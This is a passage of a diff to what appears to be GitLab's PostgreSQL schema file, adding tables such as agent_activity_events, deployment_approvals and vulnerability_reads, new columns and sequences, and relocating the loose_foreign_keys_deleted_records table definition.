LANGUAGE plpgsql
AS $$
@@ -126,6 +147,18 @@ CREATE TABLE incident_management_pending_issue_escalations (
)
PARTITION BY RANGE (process_at);
+CREATE TABLE loose_foreign_keys_deleted_records (
+ id bigint NOT NULL,
+ partition bigint DEFAULT 1 NOT NULL,
+ primary_key_value bigint NOT NULL,
+ status smallint DEFAULT 1 NOT NULL,
+ created_at timestamp with time zone DEFAULT now() NOT NULL,
+ fully_qualified_table_name text NOT NULL,
+ consume_after timestamp with time zone DEFAULT now(),
+ CONSTRAINT check_1a541f3235 CHECK ((char_length(fully_qualified_table_name) <= 150))
+)
+PARTITION BY LIST (partition);
+
CREATE TABLE verification_codes (
created_at timestamp with time zone DEFAULT now() NOT NULL,
visitor_id_code text NOT NULL,
@@ -1014,39 +1047,6 @@ CREATE TABLE gitlab_partitions_static.analytics_cycle_analytics_merge_request_st
);
ALTER TABLE ONLY analytics_cycle_analytics_merge_request_stage_events ATTACH PARTITION gitlab_partitions_static.analytics_cycle_analytics_merge_request_stage_events_31 FOR VALUES WITH (modulus 32, remainder 31);
-CREATE TABLE loose_foreign_keys_deleted_records (
- id bigint NOT NULL,
- partition bigint NOT NULL,
- primary_key_value bigint NOT NULL,
- status smallint DEFAULT 1 NOT NULL,
- created_at timestamp with time zone DEFAULT now() NOT NULL,
- fully_qualified_table_name text NOT NULL,
- consume_after timestamp with time zone DEFAULT now(),
- CONSTRAINT check_1a541f3235 CHECK ((char_length(fully_qualified_table_name) <= 150))
-)
-PARTITION BY LIST (partition);
-
-CREATE SEQUENCE loose_foreign_keys_deleted_records_id_seq
- START WITH 1
- INCREMENT BY 1
- NO MINVALUE
- NO MAXVALUE
- CACHE 1;
-
-ALTER SEQUENCE loose_foreign_keys_deleted_records_id_seq OWNED BY loose_foreign_keys_deleted_records.id;
-
-CREATE TABLE gitlab_partitions_static.loose_foreign_keys_deleted_records_1 (
- id bigint DEFAULT nextval('loose_foreign_keys_deleted_records_id_seq'::regclass) NOT NULL,
- partition bigint NOT NULL,
- primary_key_value bigint NOT NULL,
- status smallint DEFAULT 1 NOT NULL,
- created_at timestamp with time zone DEFAULT now() NOT NULL,
- fully_qualified_table_name text NOT NULL,
- consume_after timestamp with time zone DEFAULT now(),
- CONSTRAINT check_1a541f3235 CHECK ((char_length(fully_qualified_table_name) <= 150))
-);
-ALTER TABLE ONLY loose_foreign_keys_deleted_records ATTACH PARTITION gitlab_partitions_static.loose_foreign_keys_deleted_records_1 FOR VALUES IN ('1');
-
CREATE TABLE product_analytics_events_experimental (
id bigint NOT NULL,
project_id integer NOT NULL,
@@ -9721,6 +9721,30 @@ CREATE SEQUENCE abuse_reports_id_seq
ALTER SEQUENCE abuse_reports_id_seq OWNED BY abuse_reports.id;
+CREATE TABLE agent_activity_events (
+ id bigint NOT NULL,
+ agent_id bigint NOT NULL,
+ user_id bigint,
+ project_id bigint,
+ merge_request_id bigint,
+ agent_token_id bigint,
+ recorded_at timestamp with time zone NOT NULL,
+ kind smallint NOT NULL,
+ level smallint NOT NULL,
+ sha bytea,
+ detail text,
+ CONSTRAINT check_068205e735 CHECK ((char_length(detail) <= 255))
+);
+
+CREATE SEQUENCE agent_activity_events_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE agent_activity_events_id_seq OWNED BY agent_activity_events.id;
+
CREATE TABLE agent_group_authorizations (
id bigint NOT NULL,
group_id bigint NOT NULL,
@@ -10454,6 +10478,9 @@ CREATE TABLE application_settings (
sentry_dsn text,
sentry_clientside_dsn text,
sentry_environment text,
+ max_ssh_key_lifetime integer,
+ static_objects_external_storage_auth_token_encrypted text,
+ future_subscriptions jsonb DEFAULT '[]'::jsonb NOT NULL,
CONSTRAINT app_settings_container_reg_cleanup_tags_max_list_size_positive CHECK ((container_registry_cleanup_tags_service_max_list_size >= 0)),
CONSTRAINT app_settings_dep_proxy_ttl_policies_worker_capacity_positive CHECK ((dependency_proxy_ttl_group_policy_worker_capacity >= 0)),
CONSTRAINT app_settings_ext_pipeline_validation_service_url_text_limit CHECK ((char_length(external_pipeline_validation_service_url) <= 255)),
@@ -10462,6 +10489,7 @@ CREATE TABLE application_settings (
CONSTRAINT app_settings_yaml_max_size_positive CHECK ((max_yaml_size_bytes > 0)),
CONSTRAINT check_17d9558205 CHECK ((char_length((kroki_url)::text) <= 1024)),
CONSTRAINT check_2dba05b802 CHECK ((char_length(gitpod_url) <= 255)),
+ CONSTRAINT check_32710817e9 CHECK ((char_length(static_objects_external_storage_auth_token_encrypted) <= 255)),
CONSTRAINT check_3def0f1829 CHECK ((char_length(sentry_clientside_dsn) <= 255)),
CONSTRAINT check_4f8b811780 CHECK ((char_length(sentry_dsn) <= 255)),
CONSTRAINT check_51700b31b5 CHECK ((char_length(default_branch_name) <= 255)),
@@ -10524,6 +10552,7 @@ CREATE TABLE approval_merge_request_rules (
report_type smallint,
section text,
modified_from_project_rule boolean DEFAULT false NOT NULL,
+ orchestration_policy_idx smallint,
CONSTRAINT check_6fca5928b2 CHECK ((char_length(section) <= 255))
);
@@ -10593,7 +10622,8 @@ CREATE TABLE approval_project_rules (
vulnerabilities_allowed smallint DEFAULT 0 NOT NULL,
severity_levels text[] DEFAULT '{}'::text[] NOT NULL,
report_type smallint,
- vulnerability_states text[] DEFAULT '{newly_detected}'::text[] NOT NULL
+ vulnerability_states text[] DEFAULT '{newly_detected}'::text[] NOT NULL,
+ orchestration_policy_idx smallint
);
CREATE TABLE approval_project_rules_groups (
@@ -11672,7 +11702,9 @@ CREATE TABLE ci_job_artifacts (
id bigint NOT NULL,
job_id bigint NOT NULL,
locked smallint DEFAULT 2,
- CONSTRAINT check_27f0f6dbab CHECK ((file_store IS NOT NULL))
+ original_filename text,
+ CONSTRAINT check_27f0f6dbab CHECK ((file_store IS NOT NULL)),
+ CONSTRAINT check_85573000db CHECK ((char_length(original_filename) <= 512))
);
CREATE SEQUENCE ci_job_artifacts_id_seq
@@ -11740,6 +11772,21 @@ CREATE SEQUENCE ci_minutes_additional_packs_id_seq
ALTER SEQUENCE ci_minutes_additional_packs_id_seq OWNED BY ci_minutes_additional_packs.id;
+CREATE TABLE ci_namespace_mirrors (
+ id bigint NOT NULL,
+ namespace_id integer NOT NULL,
+ traversal_ids integer[] DEFAULT '{}'::integer[] NOT NULL
+);
+
+CREATE SEQUENCE ci_namespace_mirrors_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE ci_namespace_mirrors_id_seq OWNED BY ci_namespace_mirrors.id;
+
CREATE TABLE ci_namespace_monthly_usages (
id bigint NOT NULL,
namespace_id bigint NOT NULL,
@@ -11748,6 +11795,7 @@ CREATE TABLE ci_namespace_monthly_usages (
amount_used numeric(18,2) DEFAULT 0.0 NOT NULL,
notification_level smallint DEFAULT 100 NOT NULL,
shared_runners_duration integer DEFAULT 0 NOT NULL,
+ created_at timestamp with time zone,
CONSTRAINT ci_namespace_monthly_usages_year_month_constraint CHECK ((date = date_trunc('month'::text, (date)::timestamp with time zone)))
);
@@ -11987,12 +12035,28 @@ CREATE SEQUENCE ci_platform_metrics_id_seq
ALTER SEQUENCE ci_platform_metrics_id_seq OWNED BY ci_platform_metrics.id;
+CREATE TABLE ci_project_mirrors (
+ id bigint NOT NULL,
+ project_id integer NOT NULL,
+ namespace_id integer NOT NULL
+);
+
+CREATE SEQUENCE ci_project_mirrors_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE ci_project_mirrors_id_seq OWNED BY ci_project_mirrors.id;
+
CREATE TABLE ci_project_monthly_usages (
id bigint NOT NULL,
project_id bigint NOT NULL,
date date NOT NULL,
amount_used numeric(18,2) DEFAULT 0.0 NOT NULL,
shared_runners_duration integer DEFAULT 0 NOT NULL,
+ created_at timestamp with time zone,
CONSTRAINT ci_project_monthly_usages_year_month_constraint CHECK ((date = date_trunc('month'::text, (date)::timestamp with time zone)))
);
@@ -12111,7 +12175,8 @@ CREATE TABLE ci_runners (
token_encrypted character varying,
public_projects_minutes_cost_factor double precision DEFAULT 0.0 NOT NULL,
private_projects_minutes_cost_factor double precision DEFAULT 1.0 NOT NULL,
- config jsonb DEFAULT '{}'::jsonb NOT NULL
+ config jsonb DEFAULT '{}'::jsonb NOT NULL,
+ executor_type smallint
);
CREATE SEQUENCE ci_runners_id_seq
@@ -13347,6 +13412,24 @@ CREATE SEQUENCE deploy_tokens_id_seq
ALTER SEQUENCE deploy_tokens_id_seq OWNED BY deploy_tokens.id;
+CREATE TABLE deployment_approvals (
+ id bigint NOT NULL,
+ deployment_id bigint NOT NULL,
+ user_id bigint NOT NULL,
+ created_at timestamp with time zone NOT NULL,
+ updated_at timestamp with time zone NOT NULL,
+ status smallint NOT NULL
+);
+
+CREATE SEQUENCE deployment_approvals_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE deployment_approvals_id_seq OWNED BY deployment_approvals.id;
+
CREATE TABLE deployment_clusters (
deployment_id integer NOT NULL,
cluster_id integer NOT NULL,
@@ -15050,6 +15133,35 @@ CREATE SEQUENCE incident_management_pending_issue_escalations_id_seq
ALTER SEQUENCE incident_management_pending_issue_escalations_id_seq OWNED BY incident_management_pending_issue_escalations.id;
+CREATE TABLE incident_management_timeline_events (
+ id bigint NOT NULL,
+ created_at timestamp with time zone NOT NULL,
+ updated_at timestamp with time zone NOT NULL,
+ occurred_at timestamp with time zone NOT NULL,
+ project_id bigint NOT NULL,
+ author_id bigint,
+ issue_id bigint NOT NULL,
+ updated_by_user_id bigint,
+ promoted_from_note_id bigint,
+ cached_markdown_version integer,
+ editable boolean DEFAULT false NOT NULL,
+ note text NOT NULL,
+ note_html text NOT NULL,
+ action text NOT NULL,
+ CONSTRAINT check_18fd072206 CHECK ((char_length(action) <= 128)),
+ CONSTRAINT check_3875ed0aac CHECK ((char_length(note) <= 10000)),
+ CONSTRAINT check_94a235d6a4 CHECK ((char_length(note_html) <= 10000))
+);
+
+CREATE SEQUENCE incident_management_timeline_events_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE incident_management_timeline_events_id_seq OWNED BY incident_management_timeline_events.id;
+
CREATE TABLE index_statuses (
id integer NOT NULL,
project_id integer NOT NULL,
@@ -15253,6 +15365,22 @@ CREATE SEQUENCE issue_email_participants_id_seq
ALTER SEQUENCE issue_email_participants_id_seq OWNED BY issue_email_participants.id;
+CREATE TABLE issue_emails (
+ id bigint NOT NULL,
+ issue_id bigint NOT NULL,
+ email_message_id text NOT NULL,
+ CONSTRAINT check_5abf3e6aea CHECK ((char_length(email_message_id) <= 1000))
+);
+
+CREATE SEQUENCE issue_emails_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE issue_emails_id_seq OWNED BY issue_emails.id;
+
CREATE TABLE issue_links (
id integer NOT NULL,
source_id integer NOT NULL,
@@ -15398,7 +15526,7 @@ CREATE TABLE iterations_cadences (
group_id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
- start_date date NOT NULL,
+ start_date date,
last_run_date date,
duration_in_weeks integer,
iterations_in_advance integer,
@@ -15642,6 +15770,27 @@ CREATE SEQUENCE lfs_file_locks_id_seq
ALTER SEQUENCE lfs_file_locks_id_seq OWNED BY lfs_file_locks.id;
+CREATE TABLE lfs_object_states (
+ verification_started_at timestamp with time zone,
+ verification_retry_at timestamp with time zone,
+ verified_at timestamp with time zone,
+ lfs_object_id bigint NOT NULL,
+ verification_state smallint DEFAULT 0 NOT NULL,
+ verification_retry_count smallint,
+ verification_checksum bytea,
+ verification_failure text,
+ CONSTRAINT check_efe45a8ab3 CHECK ((char_length(verification_failure) <= 255))
+);
+
+CREATE SEQUENCE lfs_object_states_lfs_object_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE lfs_object_states_lfs_object_id_seq OWNED BY lfs_object_states.lfs_object_id;
+
CREATE TABLE lfs_objects (
id integer NOT NULL,
oid character varying NOT NULL,
@@ -15741,6 +15890,15 @@ CREATE SEQUENCE lists_id_seq
ALTER SEQUENCE lists_id_seq OWNED BY lists.id;
+CREATE SEQUENCE loose_foreign_keys_deleted_records_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE loose_foreign_keys_deleted_records_id_seq OWNED BY loose_foreign_keys_deleted_records.id;
+
CREATE TABLE member_tasks (
id bigint NOT NULL,
member_id bigint NOT NULL,
@@ -16114,6 +16272,22 @@ CREATE SEQUENCE merge_requests_closing_issues_id_seq
ALTER SEQUENCE merge_requests_closing_issues_id_seq OWNED BY merge_requests_closing_issues.id;
+CREATE TABLE merge_requests_compliance_violations (
+ id bigint NOT NULL,
+ violating_user_id bigint NOT NULL,
+ merge_request_id bigint NOT NULL,
+ reason smallint NOT NULL
+);
+
+CREATE SEQUENCE merge_requests_compliance_violations_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE merge_requests_compliance_violations_id_seq OWNED BY merge_requests_compliance_violations.id;
+
CREATE SEQUENCE merge_requests_id_seq
START WITH 1
INCREMENT BY 1
@@ -16312,7 +16486,7 @@ CREATE TABLE namespaces (
owner_id integer,
created_at timestamp without time zone,
updated_at timestamp without time zone,
- type character varying,
+ type character varying DEFAULT 'User'::character varying NOT NULL,
description character varying DEFAULT ''::character varying NOT NULL,
avatar character varying,
membership_lock boolean DEFAULT false,
@@ -16366,6 +16540,20 @@ CREATE SEQUENCE namespaces_id_seq
ALTER SEQUENCE namespaces_id_seq OWNED BY namespaces.id;
+CREATE TABLE namespaces_sync_events (
+ id bigint NOT NULL,
+ namespace_id bigint NOT NULL
+);
+
+CREATE SEQUENCE namespaces_sync_events_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE namespaces_sync_events_id_seq OWNED BY namespaces_sync_events.id;
+
CREATE TABLE note_diff_files (
id integer NOT NULL,
diff_note_id integer NOT NULL,
@@ -17321,6 +17509,27 @@ CREATE SEQUENCE packages_tags_id_seq
ALTER SEQUENCE packages_tags_id_seq OWNED BY packages_tags.id;
+CREATE TABLE pages_deployment_states (
+ pages_deployment_id bigint NOT NULL,
+ verification_state smallint DEFAULT 0 NOT NULL,
+ verification_started_at timestamp with time zone,
+ verification_retry_at timestamp with time zone,
+ verified_at timestamp with time zone,
+ verification_retry_count smallint,
+ verification_checksum bytea,
+ verification_failure text,
+ CONSTRAINT check_15217e8c3a CHECK ((char_length(verification_failure) <= 255))
+);
+
+CREATE SEQUENCE pages_deployment_states_pages_deployment_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE pages_deployment_states_pages_deployment_id_seq OWNED BY pages_deployment_states.pages_deployment_id;
+
CREATE TABLE pages_deployments (
id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
@@ -18258,7 +18467,9 @@ CREATE TABLE project_settings (
warn_about_potentially_unwanted_characters boolean DEFAULT true NOT NULL,
merge_commit_template text,
has_shimo boolean DEFAULT false NOT NULL,
+ squash_commit_template text,
CONSTRAINT check_3a03e7557a CHECK ((char_length(previous_default_branch) <= 4096)),
+ CONSTRAINT check_b09644994b CHECK ((char_length(squash_commit_template) <= 500)),
CONSTRAINT check_bde223416c CHECK ((show_default_award_emojis IS NOT NULL)),
CONSTRAINT check_eaf7cfb6a7 CHECK ((char_length(merge_commit_template) <= 500))
);
@@ -18418,6 +18629,20 @@ CREATE SEQUENCE projects_id_seq
ALTER SEQUENCE projects_id_seq OWNED BY projects.id;
+CREATE TABLE projects_sync_events (
+ id bigint NOT NULL,
+ project_id bigint NOT NULL
+);
+
+CREATE SEQUENCE projects_sync_events_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE projects_sync_events_id_seq OWNED BY projects_sync_events.id;
+
CREATE TABLE prometheus_alert_events (
id bigint NOT NULL,
project_id integer NOT NULL,
@@ -18586,7 +18811,9 @@ CREATE TABLE protected_environments (
updated_at timestamp with time zone NOT NULL,
name character varying NOT NULL,
group_id bigint,
- CONSTRAINT protected_environments_project_or_group_existence CHECK (((project_id IS NULL) <> (group_id IS NULL)))
+ required_approval_count integer DEFAULT 0 NOT NULL,
+ CONSTRAINT protected_environments_project_or_group_existence CHECK (((project_id IS NULL) <> (group_id IS NULL))),
+ CONSTRAINT protected_environments_required_approval_count_positive CHECK ((required_approval_count >= 0))
);
CREATE SEQUENCE protected_environments_id_seq
@@ -18843,8 +19070,7 @@ CREATE TABLE requirements_management_test_reports (
author_id bigint,
state smallint NOT NULL,
build_id bigint,
- issue_id bigint,
- CONSTRAINT requirements_test_reports_requirement_id_xor_issue_id CHECK ((num_nonnulls(requirement_id, issue_id) = 1))
+ issue_id bigint
);
CREATE SEQUENCE requirements_management_test_reports_id_seq
@@ -19460,6 +19686,7 @@ CREATE TABLE sprints (
description_html text,
state_enum smallint DEFAULT 1 NOT NULL,
iterations_cadence_id integer,
+ sequence integer,
CONSTRAINT sprints_must_belong_to_project_or_group CHECK ((((project_id <> NULL::bigint) AND (group_id IS NULL)) OR ((group_id <> NULL::bigint) AND (project_id IS NULL)))),
CONSTRAINT sprints_title CHECK ((char_length(title) <= 255))
);
@@ -19705,7 +19932,7 @@ CREATE TABLE timelogs (
updated_at timestamp without time zone NOT NULL,
issue_id integer,
merge_request_id integer,
- spent_at timestamp without time zone,
+ spent_at timestamp without time zone DEFAULT now(),
note_id integer,
project_id integer,
summary text,
@@ -19838,6 +20065,27 @@ CREATE SEQUENCE upcoming_reconciliations_id_seq
ALTER SEQUENCE upcoming_reconciliations_id_seq OWNED BY upcoming_reconciliations.id;
+CREATE TABLE upload_states (
+ verification_started_at timestamp with time zone,
+ verification_retry_at timestamp with time zone,
+ verified_at timestamp with time zone,
+ upload_id bigint NOT NULL,
+ verification_state smallint DEFAULT 0 NOT NULL,
+ verification_retry_count smallint,
+ verification_checksum bytea,
+ verification_failure text,
+ CONSTRAINT check_7396dc8591 CHECK ((char_length(verification_failure) <= 255))
+);
+
+CREATE SEQUENCE upload_states_upload_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE upload_states_upload_id_seq OWNED BY upload_states.upload_id;
+
CREATE TABLE uploads (
id integer NOT NULL,
size bigint NOT NULL,
@@ -20184,7 +20432,9 @@ CREATE TABLE users (
last_name character varying(255),
static_object_token character varying(255),
role smallint,
- user_type smallint
+ user_type smallint,
+ static_object_token_encrypted text,
+ CONSTRAINT check_7bde697e8e CHECK ((char_length(static_object_token_encrypted) <= 255))
);
CREATE SEQUENCE users_id_seq
@@ -20723,6 +20973,7 @@ CREATE TABLE vulnerability_occurrences (
cve text,
location jsonb,
detection_method smallint DEFAULT 0 NOT NULL,
+ migrated_to_new_structure boolean DEFAULT false NOT NULL,
CONSTRAINT check_4a3a60f2ba CHECK ((char_length(solution) <= 7000)),
CONSTRAINT check_ade261da6b CHECK ((char_length(description) <= 15000)),
CONSTRAINT check_df6dd20219 CHECK ((char_length(message) <= 3000)),
@@ -20738,6 +20989,30 @@ CREATE SEQUENCE vulnerability_occurrences_id_seq
ALTER SEQUENCE vulnerability_occurrences_id_seq OWNED BY vulnerability_occurrences.id;
+CREATE TABLE vulnerability_reads (
+ id bigint NOT NULL,
+ vulnerability_id bigint NOT NULL,
+ project_id bigint NOT NULL,
+ scanner_id bigint NOT NULL,
+ report_type smallint NOT NULL,
+ severity smallint NOT NULL,
+ state smallint NOT NULL,
+ has_issues boolean DEFAULT false NOT NULL,
+ resolved_on_default_branch boolean DEFAULT false NOT NULL,
+ uuid uuid NOT NULL,
+ location_image text,
+ CONSTRAINT check_380451bdbe CHECK ((char_length(location_image) <= 2048))
+);
+
+CREATE SEQUENCE vulnerability_reads_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE vulnerability_reads_id_seq OWNED BY vulnerability_reads.id;
+
CREATE TABLE vulnerability_remediations (
id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
@@ -21062,6 +21337,8 @@ ALTER SEQUENCE zoom_meetings_id_seq OWNED BY zoom_meetings.id;
ALTER TABLE ONLY abuse_reports ALTER COLUMN id SET DEFAULT nextval('abuse_reports_id_seq'::regclass);
+ALTER TABLE ONLY agent_activity_events ALTER COLUMN id SET DEFAULT nextval('agent_activity_events_id_seq'::regclass);
+
ALTER TABLE ONLY agent_group_authorizations ALTER COLUMN id SET DEFAULT nextval('agent_group_authorizations_id_seq'::regclass);
ALTER TABLE ONLY agent_project_authorizations ALTER COLUMN id SET DEFAULT nextval('agent_project_authorizations_id_seq'::regclass);
@@ -21216,6 +21493,8 @@ ALTER TABLE ONLY ci_job_variables ALTER COLUMN id SET DEFAULT nextval('ci_job_va
ALTER TABLE ONLY ci_minutes_additional_packs ALTER COLUMN id SET DEFAULT nextval('ci_minutes_additional_packs_id_seq'::regclass);
+ALTER TABLE ONLY ci_namespace_mirrors ALTER COLUMN id SET DEFAULT nextval('ci_namespace_mirrors_id_seq'::regclass);
+
ALTER TABLE ONLY ci_namespace_monthly_usages ALTER COLUMN id SET DEFAULT nextval('ci_namespace_monthly_usages_id_seq'::regclass);
ALTER TABLE ONLY ci_pending_builds ALTER COLUMN id SET DEFAULT nextval('ci_pending_builds_id_seq'::regclass);
@@ -21238,6 +21517,8 @@ ALTER TABLE ONLY ci_pipelines_config ALTER COLUMN pipeline_id SET DEFAULT nextva
ALTER TABLE ONLY ci_platform_metrics ALTER COLUMN id SET DEFAULT nextval('ci_platform_metrics_id_seq'::regclass);
+ALTER TABLE ONLY ci_project_mirrors ALTER COLUMN id SET DEFAULT nextval('ci_project_mirrors_id_seq'::regclass);
+
ALTER TABLE ONLY ci_project_monthly_usages ALTER COLUMN id SET DEFAULT nextval('ci_project_monthly_usages_id_seq'::regclass);
ALTER TABLE ONLY ci_refs ALTER COLUMN id SET DEFAULT nextval('ci_refs_id_seq'::regclass);
@@ -21356,6 +21637,8 @@ ALTER TABLE ONLY deploy_keys_projects ALTER COLUMN id SET DEFAULT nextval('deplo
ALTER TABLE ONLY deploy_tokens ALTER COLUMN id SET DEFAULT nextval('deploy_tokens_id_seq'::regclass);
+ALTER TABLE ONLY deployment_approvals ALTER COLUMN id SET DEFAULT nextval('deployment_approvals_id_seq'::regclass);
+
ALTER TABLE ONLY deployments ALTER COLUMN id SET DEFAULT nextval('deployments_id_seq'::regclass);
ALTER TABLE ONLY description_versions ALTER COLUMN id SET DEFAULT nextval('description_versions_id_seq'::regclass);
@@ -21518,6 +21801,8 @@ ALTER TABLE ONLY incident_management_pending_alert_escalations ALTER COLUMN id S
ALTER TABLE ONLY incident_management_pending_issue_escalations ALTER COLUMN id SET DEFAULT nextval('incident_management_pending_issue_escalations_id_seq'::regclass);
+ALTER TABLE ONLY incident_management_timeline_events ALTER COLUMN id SET DEFAULT nextval('incident_management_timeline_events_id_seq'::regclass);
+
ALTER TABLE ONLY index_statuses ALTER COLUMN id SET DEFAULT nextval('index_statuses_id_seq'::regclass);
ALTER TABLE ONLY insights ALTER COLUMN id SET DEFAULT nextval('insights_id_seq'::regclass);
@@ -21538,6 +21823,8 @@ ALTER TABLE ONLY issue_customer_relations_contacts ALTER COLUMN id SET DEFAULT n
ALTER TABLE ONLY issue_email_participants ALTER COLUMN id SET DEFAULT nextval('issue_email_participants_id_seq'::regclass);
+ALTER TABLE ONLY issue_emails ALTER COLUMN id SET DEFAULT nextval('issue_emails_id_seq'::regclass);
+
ALTER TABLE ONLY issue_links ALTER COLUMN id SET DEFAULT nextval('issue_links_id_seq'::regclass);
ALTER TABLE ONLY issue_metrics ALTER COLUMN id SET DEFAULT nextval('issue_metrics_id_seq'::regclass);
@@ -21570,6 +21857,8 @@ ALTER TABLE ONLY ldap_group_links ALTER COLUMN id SET DEFAULT nextval('ldap_grou
ALTER TABLE ONLY lfs_file_locks ALTER COLUMN id SET DEFAULT nextval('lfs_file_locks_id_seq'::regclass);
+ALTER TABLE ONLY lfs_object_states ALTER COLUMN lfs_object_id SET DEFAULT nextval('lfs_object_states_lfs_object_id_seq'::regclass);
+
ALTER TABLE ONLY lfs_objects ALTER COLUMN id SET DEFAULT nextval('lfs_objects_id_seq'::regclass);
ALTER TABLE ONLY lfs_objects_projects ALTER COLUMN id SET DEFAULT nextval('lfs_objects_projects_id_seq'::regclass);
@@ -21610,6 +21899,8 @@ ALTER TABLE ONLY merge_requests ALTER COLUMN id SET DEFAULT nextval('merge_reque
ALTER TABLE ONLY merge_requests_closing_issues ALTER COLUMN id SET DEFAULT nextval('merge_requests_closing_issues_id_seq'::regclass);
+ALTER TABLE ONLY merge_requests_compliance_violations ALTER COLUMN id SET DEFAULT nextval('merge_requests_compliance_violations_id_seq'::regclass);
+
ALTER TABLE ONLY merge_trains ALTER COLUMN id SET DEFAULT nextval('merge_trains_id_seq'::regclass);
ALTER TABLE ONLY metrics_dashboard_annotations ALTER COLUMN id SET DEFAULT nextval('metrics_dashboard_annotations_id_seq'::regclass);
@@ -21624,6 +21915,8 @@ ALTER TABLE ONLY namespace_statistics ALTER COLUMN id SET DEFAULT nextval('names
ALTER TABLE ONLY namespaces ALTER COLUMN id SET DEFAULT nextval('namespaces_id_seq'::regclass);
+ALTER TABLE ONLY namespaces_sync_events ALTER COLUMN id SET DEFAULT nextval('namespaces_sync_events_id_seq'::regclass);
+
ALTER TABLE ONLY note_diff_files ALTER COLUMN id SET DEFAULT nextval('note_diff_files_id_seq'::regclass);
ALTER TABLE ONLY notes ALTER COLUMN id SET DEFAULT nextval('notes_id_seq'::regclass);
@@ -21702,6 +21995,8 @@ ALTER TABLE ONLY packages_packages ALTER COLUMN id SET DEFAULT nextval('packages
ALTER TABLE ONLY packages_tags ALTER COLUMN id SET DEFAULT nextval('packages_tags_id_seq'::regclass);
+ALTER TABLE ONLY pages_deployment_states ALTER COLUMN pages_deployment_id SET DEFAULT nextval('pages_deployment_states_pages_deployment_id_seq'::regclass);
+
ALTER TABLE ONLY pages_deployments ALTER COLUMN id SET DEFAULT nextval('pages_deployments_id_seq'::regclass);
ALTER TABLE ONLY pages_domain_acme_orders ALTER COLUMN id SET DEFAULT nextval('pages_domain_acme_orders_id_seq'::regclass);
@@ -21774,6 +22069,8 @@ ALTER TABLE ONLY project_tracing_settings ALTER COLUMN id SET DEFAULT nextval('p
ALTER TABLE ONLY projects ALTER COLUMN id SET DEFAULT nextval('projects_id_seq'::regclass);
+ALTER TABLE ONLY projects_sync_events ALTER COLUMN id SET DEFAULT nextval('projects_sync_events_id_seq'::regclass);
+
ALTER TABLE ONLY prometheus_alert_events ALTER COLUMN id SET DEFAULT nextval('prometheus_alert_events_id_seq'::regclass);
ALTER TABLE ONLY prometheus_alerts ALTER COLUMN id SET DEFAULT nextval('prometheus_alerts_id_seq'::regclass);
@@ -21906,6 +22203,8 @@ ALTER TABLE ONLY u2f_registrations ALTER COLUMN id SET DEFAULT nextval('u2f_regi
ALTER TABLE ONLY upcoming_reconciliations ALTER COLUMN id SET DEFAULT nextval('upcoming_reconciliations_id_seq'::regclass);
+ALTER TABLE ONLY upload_states ALTER COLUMN upload_id SET DEFAULT nextval('upload_states_upload_id_seq'::regclass);
+
ALTER TABLE ONLY uploads ALTER COLUMN id SET DEFAULT nextval('uploads_id_seq'::regclass);
ALTER TABLE ONLY user_agent_details ALTER COLUMN id SET DEFAULT nextval('user_agent_details_id_seq'::regclass);
@@ -21978,6 +22277,8 @@ ALTER TABLE ONLY vulnerability_occurrence_pipelines ALTER COLUMN id SET DEFAULT
ALTER TABLE ONLY vulnerability_occurrences ALTER COLUMN id SET DEFAULT nextval('vulnerability_occurrences_id_seq'::regclass);
+ALTER TABLE ONLY vulnerability_reads ALTER COLUMN id SET DEFAULT nextval('vulnerability_reads_id_seq'::regclass);
+
ALTER TABLE ONLY vulnerability_remediations ALTER COLUMN id SET DEFAULT nextval('vulnerability_remediations_id_seq'::regclass);
ALTER TABLE ONLY vulnerability_scanners ALTER COLUMN id SET DEFAULT nextval('vulnerability_scanners_id_seq'::regclass);
@@ -22206,12 +22507,6 @@ ALTER TABLE ONLY gitlab_partitions_static.analytics_cycle_analytics_merge_reques
ALTER TABLE ONLY gitlab_partitions_static.analytics_cycle_analytics_merge_request_stage_events_31
ADD CONSTRAINT analytics_cycle_analytics_merge_request_stage_events_31_pkey PRIMARY KEY (stage_event_hash_id, merge_request_id);
-ALTER TABLE ONLY loose_foreign_keys_deleted_records
- ADD CONSTRAINT loose_foreign_keys_deleted_records_pkey PRIMARY KEY (partition, id);
-
-ALTER TABLE ONLY gitlab_partitions_static.loose_foreign_keys_deleted_records_1
- ADD CONSTRAINT loose_foreign_keys_deleted_records_1_pkey PRIMARY KEY (partition, id);
-
ALTER TABLE ONLY product_analytics_events_experimental
